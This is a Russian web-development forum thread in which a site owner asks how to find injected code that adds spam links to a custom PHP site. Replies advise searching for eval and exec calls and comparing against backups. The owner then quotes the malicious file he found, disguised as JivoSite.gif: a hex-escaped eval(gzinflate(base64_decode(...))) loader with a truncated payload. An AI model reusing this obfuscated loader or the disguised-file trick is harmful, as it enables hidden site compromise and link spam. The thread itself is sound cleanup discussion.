Форум Сайтостроение Веб-строительство

Поможите в поиске подсаженного кода с линками.

Klopopryg
На сайте с 29.12.2004
Offline
344
Klopopryg
325

Достался "пациент", которому внизу страницы злоумышленники прилипили блок с линками. Роюсь уже 2-ой день, но его спрятали во всякие вложения, поэтому быстро найти не получается.

Может есть какое-то решение, как быстро найти?

П.с. админка-самопис, пхп

[ATTACH]146599[/ATTACH]

jpg Untitled-1.jpg
Лучше выстрелить, перезарядить и еще раз выстрелить, чем светить фонариком и спрашивать - "кто тут?"
G2
На сайте с 27.10.2009
Offline
62
ghost28
#1

- полным поиском по проекту

- посмотрите исходный код в браузере, или страницу с отключенным JS - если надписи нет, значит в скриптах. Если в скриптах - отключаем по одному, пока не пропадет.

КакМаршрутник (http://goo.gl/forms/hMgaH0s9E5) — как маршрутник, но работает.
edogs software
На сайте с 15.12.2005
Offline
775
edogs software
#2

В файлах очевидно уже искали?

В базе искали? Иногда туда упаковывают.

По коду поищите участки с eval, file_get_contents, exec. Скорее всего в их районе где-то.

Опять же, можно тупо подебажить, ставить брейкпоинты и смотреть после чего код появляется в stdout-е, дихотомия поможет.

Админка самопис - ок, а бакапы есть? Оригинал бы восстановить или сравнить с ним.

Разработка крупных и средних проектов. Можно с криптой. Разумные цены. Хорошее качество. Адекватный подход. Продаем lenovo legion в спб, дешевле магазинов, новые, запечатанные. Есть разные. skype: edogssoft
Скрипт архивации всего сайта Ищу Candidat CMS Подскажите как с вирусом
Klopopryg
На сайте с 29.12.2004
Offline
344
Klopopryg
#3

Нашелся злодей, замаскирован был под файлы:

JivoSite.gif 

<?php

eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TZfHDvQ6coXfZTYzAy2UEwwvlHNsZdyNpFbOOTy9+/cdwF4UCJFUIEs856viTPt//eOvm8D/ukni18K/4P66EerXkr8+5tfSvxB+Qfw99mcOif19z//OQ/7Th/7dh/7mob9xXPxd/2ce8Wfs/10j1D/vZJT5zcHyKSuTD706V9nXim8//bCPPBMl6RDkaEuQpWDELE3RmFA93Oyqor+VLe2PwwjKIIhhT3bZCPEBzOhaURZEmRZeqL6UQWslAsotpwh7wHTksZGm8xsEHhGkiV+kAmiD7nhTQQkgFIh1YAYiUwvz4Bd/vW8Nu2UFJvkUHNTa5qZOYkYLfum1PSDnDCOPTp+WjTFP5e7Urd8IsFZKG+6CeTVynytLlfyvdQ20FL+w2KGO/l7c8XgE5q54Q7RpG+pf8k2A8Vo8BY4sCvYbGuIb5JUBQNrmSYyR3W6s3f5Y+xNr3VLCmwqCpYE64Axy2wpgLwgGJQlmiZ/

km.jpg 

<style>

ul.zvf16 {

float: left;

width: auto !important;

padding: 0 !important;

margin: 0 !important;

font-size: 12px !important;

background-color: #DFD0B9 !important;

border: 0px solid #000000 !important;

}

и т.п.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий